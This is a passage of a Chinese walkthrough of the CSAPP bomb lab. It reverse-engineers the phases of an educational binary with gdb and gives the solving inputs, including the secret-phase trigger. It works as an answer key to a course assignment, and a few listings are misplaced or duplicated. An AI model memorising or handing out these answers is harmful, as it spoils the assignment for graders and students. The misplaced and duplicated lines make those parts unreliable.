 8048bc8: e8 4f 06 00 00        call   804921c <read_six_numbers>
 8048bcd: 83 7c 24 18 00        cmpl   $0x0,0x18(%esp)
 8048bd2: 75 07                 jne    8048bdb <phase_2+0x27>
 8048bd4: 83 7c 24 1c 01        cmpl   $0x1,0x1c(%esp)
 8048bd9: 74 1f                 je     8048bfa <phase_2+0x46>
 8048bdb: e8 15 06 00 00        call   80491f5 <explode_bomb>
 8048be0: eb 18                 jmp    8048bfa <phase_2+0x46>
 8048be2: 8b 43 f8              mov    -0x8(%ebx),%eax
 8048be5: 03 43 fc              add    -0x4(%ebx),%eax
 8048be8: 39 03                 cmp    %eax,(%ebx)
 8048bea: 74 05                 je     8048bf1 <phase_2+0x3d>
 8048bec: e8 04 06 00 00        call   80491f5 <explode_bomb>
 8048bf1: 83 c3 04              add    $0x4,%ebx
 8048bf4: 39 f3                 cmp    %esi,%ebx
 8048bf6: 75 ea                 jne    8048be2 <phase_2+0x2e>
 8048bf8: eb 0a                 jmp    8048c04 <phase_2+0x50>
 8048bfa: 8d 5c 24 20           lea    0x20(%esp),%ebx
 8048bfe: 8d 74 24 30           lea    0x30(%esp),%esi
 8048c02: eb de                 jmp    8048be2 <phase_2+0x2e>
 8048c04: 83 c4 34              add    $0x34,%esp
 8048c07: 5b                    pop    %ebx
 8048de9: 83 7c 24 18 0e        cmpl   $0xe,0x18(%esp)
 8048dee: 76 05                 jbe    8048df5 <phase_4+0x38>
 8048c08: 5e                    pop    %esi
 8048c09: c3                    ret

read_six_numbers 很容易让人联想，本题的答案是六个数字。

浅看一眼 read_six_numbers 函数的反汇编（不需要全看懂），可以得出六个数字的地址是 0x8(%esp) 一直到 0x1c(%esp)，对应 phase_2 中从 0x18(%esp) 开始（也可以在gdb中对比寄存器得出）。由 0x8048bd4 的语句来看，如果第二个数不是2，就会触发 explode_bomb；由 0x8048bcd，如果第一个数不是0，也会爆炸。

从 0x8048be2 到 0x8048c02 似乎是一个循环。8048bfa 和 8048bfe 的两条 lea 语句是这个循环的初始化部分，因为这只在 0x8048bd9 处被调用，正常来说则会跳过这两段。如果这六个数用C形容为 int num[6]，那么 esi 就是 num+6，是循环的界限，ebx 的初值就是 num+2，是循环的起始（前两个数已经验证过了），相当于 int i=2。

初始化之后开始看循环体，从 0x8048be2 到 0x8048bf6。首先给 eax 寄存器赋值为 num[i-1]+num[i-2]，然后将其与 num[i] 比较。如果不相等，就爆炸。否则，将 ebx 增4，相当于 i++。再将其与边界 esi 比较，如果不相等，继续循环。

这样，这六个数字的规律就出现了：是前面多了一个0的斐波那契数列，0，1，1，2，3，5。

Phase 3

关键词：跳转表

Phase 3反汇编代码太长了，就不一股脑放出来了。

asm

 8048c0a: 83 ec 3c              sub    $0x3c,%esp
 8048c0d: 8d 44 24 2c           lea    0x2c(%esp),%eax
 8048c11: 89 44 24 10           mov    %eax,0x10(%esp)
 8048c15: 8d 44 24 27           lea    0x27(%esp),%eax
 8048c19: 89 44 24 0c           mov    %eax,0xc(%esp)
 8048c1d: 8d 44 24 28           lea    0x28(%esp),%eax
 8048c21: 89 44 24 08           mov    %eax,0x8(%esp)
 8048c25: c7 44 24 04 5e a2 04  movl   $0x804a25e,0x4(%esp)
 8048c2c: 08 
 8048c2d: 8b 44 24 40           mov    0x40(%esp),%eax
 8048c31: 89 04 24              mov    %eax,(%esp)
 8048c34: e8 27 fc ff ff        call   8048860 <__isoc99_sscanf@plt>

反汇编代码中，一上来就像是构建了一个调用函数的参数列表，似乎有五个参数，均为4字节。往下看，果不其然调用了sscanf。在Shell中执行 man sscanf 查看Linux自带手册，发现它类似于scanf，只不过输入源是指定的字符串。对照参数列表，发现 0x804a25e 处是固定的，不随外界改变，同时又在 0x4(%esp) 即第二个参数位置，那么很可能是format部分。执行 print (char*)0x804a25e，得到 "%d %c %d"，这就对应了第3、4、5个参数（设为int a，char b，int c）的格式了。这里记下，**a = esp+0x8、 **b = esp+0xc 和 **c = esp+0x10，由leal指令反推， *a = esp+0x28， *b = esp+0x27， *c = esp+0x2c。

asm

 8048c39: 83 f8 02              cmp    $0x2,%eax
 8048c3c: 7f 05                 jg     8048c43 <phase_3+0x39>
 8048c3e: e8 b2 05 00 00        call   80491f5 <explode_bomb>
 8048c43: 83 7c 24 28 07        cmpl   $0x7,0x28(%esp)
 8048c48: 0f 87 f5 00 00 00     ja     8048d43 <phase_3+0x139>
 8048c4e: 8b 44 24 28           mov    0x28(%esp),%eax
 8048c52: ff 24 85 70 a2 04 08  jmp    *0x804a270(,%eax,4)

然后将sscanf的返回值与2比较。查看手册得，它会返回格式化字符串中匹配到参数的数量。如果少于3个参数，一样会引爆炸弹。它还会将 0x28(%esp) 即a与7比较，如果大于7，也会引爆炸弹，那么第一个数的取值被限制在了0~7。

之后很明显是一个跳转表的结构，看起来像来自一个switch语句，大胆猜测是第一个参数为0-7的每种结果。比较简单的一种方法，是在跳转表跳转语句处打断点，将a直接先代入0-7中的一种，步进查看分支的地址，也可以分别使用 p/x *address 来直接把完整的跳转表挖出来。这里以 a = 0 为例，其他的应该也差不多。

asm

 8048c59: b8 68 00 00 00        mov    $0x68,%eax
 8048c5e: 81 7c 24 2c 8b 01 00  cmpl   $0x18b,0x2c(%esp)
 8048c65: 00 
 8048c66: 0f 84 e1 00 00 00     je     8048d4d <phase_3+0x143>
 8048c6c: e8 84 05 00 00        call   80491f5 <explode_bomb>
 8048c71: b8 68 00 00 00        mov    $0x68,%eax
 8048c76: e9 d2 00 00 00        jmp    8048d4d <phase_3+0x143>

上面是 a = 0 分支的汇编代码。首先给eax赋值，这个之后会用到。然后比较了c与0x18b即395，不相等则会引爆炸弹。如果相等，则再次进行一次跳转：

asm

 8048d4d: 3a 44 24 27           cmp    0x27(%esp),%al
 8048d51: 74 05                 je     8048d58 <phase_3+0x14e>
 8048d53: e8 9d 04 00 00        call   80491f5 <explode_bomb>
 8048d58: 83 c4 3c              add    $0x3c,%esp
 8048d5b: c3                    ret

比较al与b，不相等的话引爆炸弹。al是将eax的0-7位拎出来。eax = 0x68 = 0x0000 0068，那么 al = 0x68。不记得的话，也可以通过GDB执行 info registers al 查看。在Shell执行 man ascii 打开ASCII码表，寻找HEX=68，对应的是h。

于是我们得出了a、b、c的值。a和c的值是联动的，一个组合为0和395，而b固定为h。

Phase 4

关键词：递归

asm

 8048dbd: 83 ec 2c              sub    $0x2c,%esp
 8048dc0: 8d 44 24 1c           lea    0x1c(%esp),%eax
 8048dc4: 89 44 24 0c           mov    %eax,0xc(%esp)
 8048dc8: 8d 44 24 18           lea    0x18(%esp),%eax
 8048dcc: 89 44 24 08           mov    %eax,0x8(%esp)
 8048dd0: c7 44 24 04 af a3 04  movl   $0x804a3af,0x4(%esp)
 8048dd7: 08 
 8048dd8: 8b 44 24 30           mov    0x30(%esp),%eax
 8048ddc: 89 04 24              mov    %eax,(%esp)
 8048ddf: e8 7c fa ff ff        call   8048860 <__isoc99_sscanf@plt>
 8048de4: 83 f8 02              cmp    $0x2,%eax
 8048de7: 75 07                 jne    8048df0 <phase_4+0x33>
 8048de9: 83 7c 24 18 0e        cmpl   $0xe,0x18(%esp)
 8048dee: 76 05                 jbe    8048df5 <phase_4+0x38>

这道题一开始也调用了sscanf，和Phase 3差不多。那么方法也一样，熟练地使用 print (char*)0x804a3af，得到格式化的形式为 "%d %d"，就是两个整型。设两个参数分别为a、b，那么有 *a = esp + 0x18，*b = esp + 0x1c。如果参数不为2个，就会引爆炸弹。

后面还将a与0xe即14（无符号）比较，限制 $a \le 14$ 时跳转到 0x08048df5，否则引爆炸弹。那么这个地方干了什么呢？

asm

 8048df5: c7 44 24 08 0e 00 00  movl   $0xe,0x8(%esp)
 8048dfc: 00 
 8048dfd: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048e04: 00 
 8048e05: 8b 44 24 18           mov    0x18(%esp),%eax
 8048e09: 89 04 24              mov    %eax,(%esp)
 8048e0c: e8 4b ff ff ff        call   8048d5c <func4>
 8048e11: 85 c0                 test   %eax,%eax
 8048e13: 75 07                 jne    8048e1c <phase_4+0x5f>
 8048e15: 83 7c 24 1c 00        cmpl   $0x0,0x1c(%esp)
 8048e1a: 74 05                 je     8048e21 <phase_4+0x64>
 8048e1c: e8 d4 03 00 00        call   80491f5 <explode_bomb>
 8048e21: 83 c4 2c              add    $0x2c,%esp
 8048e24: c3                    ret

这一段先为func4的调用构建了参数，func4的三个参数分别是a、0和0xe即14。然后分别校验了两个条件，是func4的返回值即 eax = 0 和b=0。既然输入文本的两个部分约束都给出了，只需要枚举 $0 \le a \le 14,\ b=0$ 的每一种可能，总能够找到至少一个答案。幸运的是，试出的第一个组合0 0就是一个解。

但是为了追求完美，我们还需要看看func4干了什么。设传入的三个参数分别为x、y、z，则：

asm

08048d5c <func4>:
 8048d5c: 56                    push   %esi ;save registers
 8048d5d: 53                    push   %ebx
 8048d5e: 83 ec 14              sub    $0x14,%esp ;allocate stack
 8048d61: 8b 54 24 20           mov    0x20(%esp),%edx ;edx=x
 8048d65: 8b 44 24 24           mov    0x24(%esp),%eax ;eax=y
 8048d69: 8b 5c 24 28           mov    0x28(%esp),%ebx ;ebx=z
 8048d6d: 89 d9                 mov    %ebx,%ecx ;ecx=z
 8048d6f: 29 c1                 sub    %eax,%ecx ;ecx=z-y
 8048d71: 89 ce                 mov    %ecx,%esi ;esi=z-y
 8048d73: c1 ee 1f              shr    $0x1f,%esi ;esi is sign bit of z-y, biased bit
 8048d76: 01 f1                 add    %esi,%ecx ;ecx=z-y+sign(z-y)
 8048d78: d1 f9                 sar    %ecx ;ecx=(z-y)/2
 8048d7a: 01 c1                 add    %eax,%ecx ;ecx=y+(z-y)/2=(y+z)/2
 8048d7c: 39 d1                 cmp    %edx,%ecx ;(z+y)/2<=x?
 8048d7e: 7e 17                 jle    8048d97 <func4+0x3b> ;if so, goto 0x8048d97
 8048d80: 83 e9 01              sub    $0x1,%ecx ;ecx--
 8048d83: 89 4c 24 08           mov    %ecx,0x8(%esp) ;z(func4)=ecx
 8048d87: 89 44 24 04           mov    %eax,0x4(%esp) ;y(func4)=eax
 8048d8b: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048d8e: e8 c9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048d93: 01 c0                 add    %eax,%eax ;eax=eax+eax (return value)
 8048d95: eb 20                 jmp    8048db7 <func4+0x5b> ;return eax
 8048d97: b8 00 00 00 00        mov    $0x0,%eax ;eax=0
 8048d9c: 39 d1                 cmp    %edx,%ecx ;ecx<=x?
 8048d9e: 7d 17                 jge    8048db7 <func4+0x5b> ;if so, return 0
 8048da0: 89 5c 24 08           mov    %ebx,0x8(%esp) ;z(func4)=ebx
 8048da4: 83 c1 01              add    $0x1,%ecx ;ecx++
 8048da7: 89 4c 24 04           mov    %ecx,0x4(%esp) ;y(func4)=ecx
 8048dab: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048dae: e8 a9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048db3: 8d 44 00 01           lea    0x1(%eax,%eax,1),%eax ;eax=2*eax+1, return value
 8048db7: 83 c4 14              add    $0x14,%esp ;restore stack pointer
 8048dba: 5b                    pop    %ebx ;restore registers
 8048dbb: 5e                    pop    %esi
 8048dbc: c3                    ret

08048d5c <func4>:
 8048d5c: 56                    push   %esi ;save registers
 8048d5d: 53                    push   %ebx
 8048d5e: 83 ec 14              sub    $0x14,%esp ;allocate stack
 8048d61: 8b 54 24 20           mov    0x20(%esp),%edx ;edx=x
 8048d65: 8b 44 24 24           mov    0x24(%esp),%eax ;eax=y
 8048d69: 8b 5c 24 28           mov    0x28(%esp),%ebx ;ebx=z
 8048d6d: 89 d9                 mov    %ebx,%ecx ;ecx=z
 8048d6f: 29 c1                 sub    %eax,%ecx ;ecx=z-y
 8048d71: 89 ce                 mov    %ecx,%esi ;esi=z-y
 8048d73: c1 ee 1f              shr    $0x1f,%esi ;esi is sign bit of z-y, biased bit
 8048d76: 01 f1                 add    %esi,%ecx ;ecx=z-y+sign(z-y)
 8048d78: d1 f9                 sar    %ecx ;ecx=(z-y)/2
 8048d7a: 01 c1                 add    %eax,%ecx ;ecx=y+(z-y)/2=(y+z)/2
 8048d7c: 39 d1                 cmp    %edx,%ecx ;(z+y)/2<=x?
 8048d7e: 7e 17                 jle    8048d97 <func4+0x3b> ;if so, goto 0x8048d97
 8048d80: 83 e9 01              sub    $0x1,%ecx ;ecx--
 8048d83: 89 4c 24 08           mov    %ecx,0x8(%esp) ;z(func4)=ecx
 8048d87: 89 44 24 04           mov    %eax,0x4(%esp) ;y(func4)=eax
 8048d8b: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048d8e: e8 c9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048d93: 01 c0                 add    %eax,%eax ;eax=eax+eax (return value)
 8048d95: eb 20                 jmp    8048db7 <func4+0x5b> ;return eax
 8048d97: b8 00 00 00 00        mov    $0x0,%eax ;eax=0
 8048d9c: 39 d1                 cmp    %edx,%ecx ;ecx<=x?
 8048d9e: 7d 17                 jge    8048db7 <func4+0x5b> ;if so, return 0
 8048da0: 89 5c 24 08           mov    %ebx,0x8(%esp) ;z(func4)=ebx
 8048da4: 83 c1 01              add    $0x1,%ecx ;ecx++
 8048da7: 89 4c 24 04           mov    %ecx,0x4(%esp) ;y(func4)=ecx
 8048dab: 89 14 24              mov    %edx,(%esp) ;x(func4)=edx=x
 8048dae: e8 a9 ff ff ff        call   8048d5c <func4> ;recursive call
 8048db3: 8d 44 00 01           lea    0x1(%eax,%eax,1),%eax ;eax=2*eax+1, return value
 8048db7: 83 c4 14              add    $0x14,%esp ;restore stack pointer
 8048dba: 5b                    pop    %ebx ;restore registers
 8048dbb: 5e                    pop    %esi
 8048dbc: c3                    ret

首先得把func4的代码分析一遍，顺便写点注释，走一步看一步，把每一步要干什么先弄明白。0x8048d73 处取符号位加上去的操作是一个偏置，为了让算术右移1位和除以2的行为一致，可以阅读CSAPP原书来了解。光看汇编来分析整体行为有一定的难度，我们不妨试着把它 “意译” 成C代码。（感谢 @404NotFound的提醒，第10行条件应为 a==x）

asm

int func4(int x, int y, int z)
{
    int a = (y + z) / 2, ret;
    if (a> x)
    {
        a--;
        ret = func4(x, y, a);
        return 2 * ret;
    }
    if (a == x)
    {
        return 0;
    }
    a++;
    ret = func4(x, a, z);
    return ret * 2 + 1;
}

可以代入a的各个情况，自行跑一跑这个函数，记录返回0的情况，很容易跑出来所有答案。

Phase 5

关键词：不同长度的MOV指令

这道题比较抽象，难度不仅仅在汇编上。

asm

 8048e25: 53                    push   %ebx
 8048e26: 83 ec 28              sub    $0x28,%esp
 8048e29: 8b 5c 24 30           mov    0x30(%esp),%ebx
 8048e2d: 65 a1 14 00 00 00     mov    %gs:0x14,%eax
 8048e33: 89 44 24 1c           mov    %eax,0x1c(%esp)
 8048e37: 31 c0                 xor    %eax,%eax
 8048e39: 89 1c 24              mov    %ebx,(%esp)
 8048e3c: e8 8a 02 00 00        call   80490cb <string_length>
 8048e41: 83 f8 06              cmp    $0x6,%eax
 8048e44: 74 4c                 je     8048e92 <phase_5+0x6d>
 8048e46: e8 aa 03 00 00        call   80491f5 <explode_bomb>
 8048e4b: 90                    nop
 8048e4c: 8d 74 26 00           lea    0x0(%esi,%eiz,1),%esi

这一段的主要作用就是检查了输入字符串的长度，限制了长度为6。有几处代码不太好理解：%gs: 似乎保证了栈的完整性（见此处）；异或自身是比较快的将寄存器置0的方式（见此处）；而 0x8048e4c 处的指令，其实是又一个nop（见此处）。此外，我们设 *a = 0x14 + eax，这段代码还令a=0x14=20，ebx=esp+0x30。

asm

 8048e52: 0f b6 14 03           movzbl (%ebx,%eax,1),%edx
 8048e56: 83 e2 0f              and    $0xf,%edx
 8048e59: 0f b6 92 90 a2 04 08  movzbl 0x804a290(%edx),%edx
 8048e60: 88 54 04 15           mov    %dl,0x15(%esp,%eax,1)
 8048e64: 83 c0 01              add    $0x1,%eax
 8048e67: 83 f8 06              cmp    $0x6,%eax
 8048e6a: 75 e6                 jne    8048e52 <phase_5+0x2d>

一个jmp指令带我们到了0x8048e92，粗看一眼结构像个循环。给eax赋初值0之后，就又跳到了0x8048e52。循环内的部分就是如上所示。在这里，eax从0到6的每一次循环中：

将ebx+eax处的字符截取低4位，存入edx
edx作为索引，在0x804a290+edx处取1个字节
将这个字节存到esp+0x15+eax

自然会想到取0x804a290中的内容，是 “maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?"，因为索引只有4位，所以有效的只有 “So” 前面的部分。可以看出，经过这个循环，在0x15+esp处形成了另一个长度为6的字符串。

asm

 8048e6c: c6 44 24 1b 00        movb   $0x0,0x1b(%esp)
 8048e71: c7 44 24 04 67 a2 04  movl   $0x804a267,0x4(%esp)
 8048e78: 08 
 8048e79: 8d 44 24 15           lea    0x15(%esp),%eax
 8048e7d: 89 04 24              mov    %eax,(%esp)
 8048e80: e8 65 02 00 00        call   80490ea <strings_not_equal>
 8048e85: 85 c0                 test   %eax,%eax
 8048e87: 74 10                 je     8048e99 <phase_5+0x74>

循环之后，call了一个 strings_not_equal，显然其中一个参数是我们刚刚形成的字符串，另一个在0x804a257。读取它，结果是 “bruins”。不算结束符号，正好六个字符。如果两个字符串相等的话，炸弹就可以解除了。我们所要做的，就是反推六个索引字符。每个字符只需要结尾四位符合索引值、属于可打印的值就可以了，所以可以有多种答案，比如 “-&#$(’”。

上面的流程，可以用一张图表示：

好了，又解决一道题。

Phase 6

关键词：链表

本Phase核心部分跳来跳去的，巨难。第一部分是熟悉的读6个数字，设 *a=0x10+esp，这里就不再赘述了。

asm

 8048eca: be 00 00 00 00        mov    $0x0,%esi ;set esi as i, i=0
 8048ecf: 8b 44 b4 10           mov    0x10(%esp,%esi,4),%eax ;eax = a[i]
 8048ed3: 83 e8 01              sub    $0x1,%eax ;eax = a[i] - 1
 8048ed6: 83 f8 05              cmp    $0x5,%eax ;compare eax with 5
 8048ed9: 76 05                 jbe    8048ee0 <phase_6+0x2f> ;if a[i] <= 5, dont explode
 8048edb: e8 15 03 00 00        call   80491f5 <explode_bomb>
 8048ee0: 83 c6 01              add    $0x1,%esi ;i++
 8048ee3: 83 fe 06              cmp    $0x6,%esi ;if i < 6, jump to 8048eef
 8048ee6: 75 07                 jne    8048eef <phase_6+0x3e>
 8048ee8: bb 00 00 00 00        mov    $0x0,%ebx
 8048eed: eb 38                 jmp    8048f27 <phase_6+0x76>
 8048eef: 89 f3                 mov    %esi,%ebx ;ebx=j=i
 8048ef1: 8b 44 9c 10           mov    0x10(%esp,%ebx,4),%eax ;eax = a[j]
 8048ef5: 39 44 b4 0c           cmp    %eax,0xc(%esp,%esi,4) ;compare a[i-1] and a[j]
 8048ef9: 75 05                 jne    8048f00 <phase_6+0x4f> ;if a[i-1] == a[j], explode
 8048efb: e8 f5 02 00 00        call   80491f5 <explode_bomb>
 8048f00: 83 c3 01              add    $0x1,%ebx ;j++
 8048f03: 83 fb 05              cmp    $0x5,%ebx ;if j<=5, jump to 8048ef1
 8048f06: 7e e9                 jle    8048ef1 <phase_6+0x40>
 8048f08: eb c5                 jmp    8048ecf <phase_6+0x1e> ;jump to next i of outer loop

上面是第二部分，代码里写了注释，包含了我对此代码的初步分析。观察可得，esi和ebx是两个循环变量，对于每个esi，ebx都要变一个来回，这证明了实际上是两层循环，esi设为i，是外层循环的循环变量，ebx设为j，是内层循环的循环变量。用C表示可能会好懂些：

for (int i = 0; i < 6;)
{
    if ((a[i] - 1 > 5 || a[i] - 1 <0) && a[i] != 0)
    {
        explode_bomb();
    }
    i++;
    for (int j = i; j <= 5; j++)
    {
        if (a[i - 1] == a[j])
        {
            explode_bomb();
        }
    }
}

简单来说，就是保证了数组a中值均小于等于6，且两两不相等。或者说，是1-6的一个排列（减1正是为了去除0的情况）。循环完成后，跳转到0x8048f27，进入第三部分。从这里开始就变得十分抽象了，但暂时没有懂的话不用急，会懂的。

asm

 8048f27: 89 de                 mov    %ebx,%esi
 8048f29: 8b 4c 9c 10           mov    0x10(%esp,%ebx,4),%ecx
 8048f2d: 83 f9 01              cmp    $0x1,%ecx
 8048f30: 7e e4                 jle    8048f16 <phase_6+0x65>
 8048f32: b8 01 00 00 00        mov    $0x1,%eax
 8048f37: ba 3c c1 04 08        mov    $0x804c13c,%edx
 8048f3c: eb cc                 jmp    8048f0a <phase_6+0x59>

在这段代码运行之前，在0x8048eed处，ebx已经被归零了，这里大胆猜测它是一个索引变量，这里将其设为k。而按照这个来推断的话，ecx首先被赋值a[k]。然后分了ecx是否小于等于1的情况（没有0，相当于是否等于1），如果不是，先给eax赋1，再将edx赋一个像是地址的立即数。eax可能是另一个索引变量，这里设为l。这里先来看ecx=1的情况。

asm

 8048f16: ba 3c c1 04 08        mov    $0x804c13c,%edx
 8048f1b: 89 54 b4 28           mov    %edx,0x28(%esp,%esi,4)
 8048f1f: 83 c3 01              add    $0x1,%ebx
 8048f22: 83 fb 06              cmp    $0x6,%ebx
 8048f25: 74 17                 je     8048f3e <phase_6+0x8d>

将1单独拎出来，或许和单独构建之后的数依赖的某种头有关。这里也将刚刚遇见过的一个立即数赋给了edx，那么不得不对其产生怀疑，那就用GDB进行一个内存的读。

比较难想到的一点是，你直接读取0x804c13c处的一个word，是读不到什么有用的信息的，但也不是完全无迹可寻。首先引人注意的是这个变量的名字 “node1”，让人不由得考虑链表的结构：如果能够依据此扩展显示的范围，向上图一样多显示几个word，就能够发现端倪。这样很容易能够推断出node的结构：4个字节的内容，4个字节的序号，4个字节的下一节点地址。接着往下读，发现node从1到6，可能对应了刚刚我们输入的六个值。即使不一次读3个也没关系，也能够观察到node标签。

很巧的是，8048f1b处的基址0x28，正好和a数组基址0x10差了24个字节，也就是6个双字变量。那么上面的汇编代码所要做的事情，就是将编号为1的节点地址存储到a数组之后。之后将ebx也就是k自增1，如果等于6则跳出这个循环，否则直接fallthrough。按理说，单单是a[k]=1的情况不需要又是自增又是判断。那么，如果不为1呢？

asm

 8048f32: b8 01 00 00 00        mov    $0x1,%eax
 8048f37: ba 3c c1 04 08        mov    $0x804c13c,%edx
 8048f3c: eb cc                 jmp    8048f0a <phase_6+0x59> 

 8048f0a: 8b 52 08              mov    0x8(%edx),%edx
 8048f0d: 83 c0 01              add    $0x1,%eax
 8048f10: 39 c8                 cmp    %ecx,%eax
 8048f12: 75 f6                 jne    8048f0a <phase_6+0x59>
 8048f14: eb 05                 jmp    8048f1b <phase_6+0x6a>

我在这里拼接了两段汇编代码，它们原本并不是连续的。现在edx寄存器保存了刚刚链表的首节点地址，而0x8048f0a处的指令，是将edx+8中的内容赋给edx。再次联想到刚刚所说的节点结构，每个节点地址 + 8位置的变量正是保存了下一个节点地址，这相当于C语言中的 p = p -> next。然后将eax即l自增1，直到 l = a [k]。那么C语言代码大概是这样：

do
{
    p = p->next;
    l++;
} while (l != a[i]);
asm("jmp 0x8048f1b");

接下来跳转到0x8048f1b，这也是刚刚a[k]=1的情况中，越过赋初值的语句处。

asm

 8048f1b: 89 54 b4 28           mov    %edx,0x28(%esp,%esi,4)
 8048f1f: 83 c3 01              add    $0x1,%ebx
 8048f22: 83 fb 06              cmp    $0x6,%ebx
 8048f25: 74 17                 je     8048f3e <phase_6+0x8d>

这块代码的行为应该不需要过多解释了，两部分结合来看，所做的事情就是将第 a[k] 个节点的地址，填入esp+0x28这个数组（设置为n）中的第k个位置。连起来，翻译成C语言：

int l;
node *head = 0x804c13c, *p, *n[6];
for (int k = 0; k < 6; i++)
{
    if (a[k] == 1)
    {
        n[k] = head;
    }
    else
    {
        p = head;
        l = 1;
        do
        {
            p = p->next;
            l++;
        } while (l != a[k]);
        n[k] = p;
    }
}

从0x8048f3e开始，到0x8048f5a，是第四部分。

asm

 8048f3e: 8b 5c 24 28           mov    0x28(%esp),%ebx
 8048f42: 8d 44 24 2c           lea    0x2c(%esp),%eax
 8048f46: 8d 74 24 40           lea    0x40(%esp),%esi
 8048f4a: 89 d9                 mov    %ebx,%ecx
 8048f4c: 8b 10                 mov    (%eax),%edx
 8048f4e: 89 51 08              mov    %edx,0x8(%ecx)
 8048f51: 83 c0 04              add    $0x4,%eax
 8048f54: 39 f0                 cmp    %esi,%eax
 8048f56: 74 04                 je     8048f5c <phase_6+0xab>
 8048f58: 89 d1                 mov    %edx,%ecx
 8048f5a: eb f0                 jmp    8048f4c <phase_6+0x9b>
 8048f5c: c7 42 08 00 00 00 00  movl   $0x0,0x8(%edx)

这一段的主要作用是将各节点按照在 n 中的顺序重新连起来，并将尾节点next设为null。它遍历了 p 中5对相邻两节点的组合，并对每个组合，将前一个节点连到后一个节点上，而它的关键就在0x8049f4e：将后一个节点的地址写入到前一个节点的 next 部分。对这一段要整体去把握，如果尝试理解每一句的意思是很有困难的。

asm

 8048f63: be 05 00 00 00        mov    $0x5,%esi
 8048f68: 8b 43 08              mov    0x8(%ebx),%eax
 8048f6b: 8b 00                 mov    (%eax),%eax
 8048f6d: 39 03                 cmp    %eax,(%ebx)
 8048f6f: 7d 05                 jge    8048f76 <phase_6+0xc5>
 8048f71: e8 7f 02 00 00        call   80491f5 <explode_bomb>
 8048f76: 8b 5b 08              mov    0x8(%ebx),%ebx
 8048f79: 83 ee 01              sub    $0x1,%esi
 8048f7c: 75 ea                 jne    8048f68 <phase_6+0xb7>

进入第五部分，这一部分干的事情是将上面提到的5个组合反向遍历一遍，并要求前一个节点的值大于等于后一个，即要求最后链表的值是降序排列的。现在题目的条件就完全显露出来了，我们可以根据节点的值来确定输入六个数的顺序。按原顺序（重新连接之前），可以得出：

十六进制值	0x12d	0x36	0x247	0x3e6	0x27c	0xd0
十进制值	301	54	583	998	636	208

第一个当然要选择最大的，就是998，对应4；第二个是636，对应5…… 这样推出答案，就是4 5 3 1 6 2。

Secret Phase

关键词：二叉搜索树

在 bomb.c 中，作者已经暗示了一个missing的secret phase的存在。但是第六个phase完成后，程序会自动退出，所以我们首先需要另辟蹊径，找一个能够call出secret phase的地方，而它就在phase_defused中。

在每次phase结束之后，都会调用一次phase_defused。而它的反汇编代码中，有很多跳转语句可能直接跳过secret phase的调用过程。那么直接先分析它的反汇编代码。

asm

 8049366: 81 ec 8c 00 00 00     sub    $0x8c,%esp
 804936c: 65 a1 14 00 00 00     mov    %gs:0x14,%eax
 8049372: 89 44 24 7c           mov    %eax,0x7c(%esp)
 8049376: 31 c0                 xor    %eax,%eax
 8049378: 83 3d c8 c3 04 08 06  cmpl   $0x6,0x804c3c8
 804937f: 75 72                 jne    80493f3 <phase_defused+0x8d>

这是第一个可能跳过的地方。它将0x804c3c8指向的内容和0x6相比，查到在这之外有 read_line 和 skip 调用了这个地址，但我懒得分析，于是在0x8049378处打断点，在每次运行到此处的时候观察它的值（可以用GDB的display功能）。结果是十分巧合的，每解开一个phase，这个变量都会 + 1。

而这个变量的label正好叫 num_input_string，代表已经输入的字符串数量，再结合下一行代码来看，如果没有输够六个，就直接跳过去。也就是说，只有在第六个phase之后，才有机会进入secret phase。

asm

 8049381: 8d 44 24 2c           lea    0x2c(%esp),%eax
 8049385: 89 44 24 10           mov    %eax,0x10(%esp)
 8049389: 8d 44 24 28           lea    0x28(%esp),%eax
 804938d: 89 44 24 0c           mov    %eax,0xc(%esp)
 8049391: 8d 44 24 24           lea    0x24(%esp),%eax
 8049395: 89 44 24 08           mov    %eax,0x8(%esp)
 8049399: c7 44 24 04 09 a4 04  movl   $0x804a409,0x4(%esp)
 80493a0: 08 
 80493a1: c7 04 24 d0 c4 04 08  movl   $0x804c4d0,(%esp)
 80493a8: e8 b3 f4 ff ff        call   8048860 <__isoc99_sscanf@plt>
 80493ad: 83 f8 03              cmp    $0x3,%eax
 80493b0: 75 35                 jne    80493e7 <phase_defused+0x81>

这是第二个可能跳过的地方。我们先前已经熟悉了 sscanf 的参数设定，这次使用GDB读取0x804a409的字符串，得到 “%d %d %s”，这意味着我们需要输入两个数和一个字符串。跳过的条件是少于三个参数。

这里奇怪的是，为什么在没有输入的情况下，仍然有0x804c4d0作为源字符串？在运行到此处时读取它，发现在使用原正确答案输入的时候，读取到的是 “0 0”，恰巧和Phase 4的正解之一相同。为了进一步验证这一想法，可以尝试将第四题的所有正解代入，比对输入的正解和读取到的字符串，此处不再详述。结果是确实相同。

再想到Phase 4也使用了 sscanf，多余的参数并不会影响识别，所以第四题必须多输入一个字符串。

asm

 80493b2: c7 44 24 04 12 a4 04  movl   $0x804a412,0x4(%esp)
 80493b9: 08 
 80493ba: 8d 44 24 2c           lea    0x2c(%esp),%eax
 80493be: 89 04 24              mov    %eax,(%esp)
 80493c1: e8 24 fd ff ff        call   80490ea <strings_not_equal>
 80493c6: 85 c0                 test   %eax,%eax
 80493c8: 75 1d                 jne    80493e7 <phase_defused+0x81>

这一段将0x804a412指向的字符串（读取得 “DrEvil”）与 0x2c+esp 处的字符串（即刚刚多输入的那个）相比，如果不相等则跳过。

现在进入Secret Phase的条件就很清楚了：在第四题的答案后加入一串 “DrEvil”。按要求输入后，果然弹出了几行文字提示，进入了传说中的Secret Phase。下面是它的部分反汇编代码：

asm

 8048fd9: e8 8e 02 00 00        call   804926c <read_line>
 8048fde: c7 44 24 08 0a 00 00  movl   $0xa,0x8(%esp)
 8048fe5: 00 
 8048fe6: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048fed: 00 
 8048fee: 89 04 24              mov    %eax,(%esp)
 8048ff1: e8 da f8 ff ff        call   80488d0 <strtol@plt>

首先调用了一个 read_line，读取一行字符串。然后构建了 strtol 的三个参数，分别是刚刚输入的字符串、0和10。在Shell中输入 man strtol 来查看文档，内容如下。

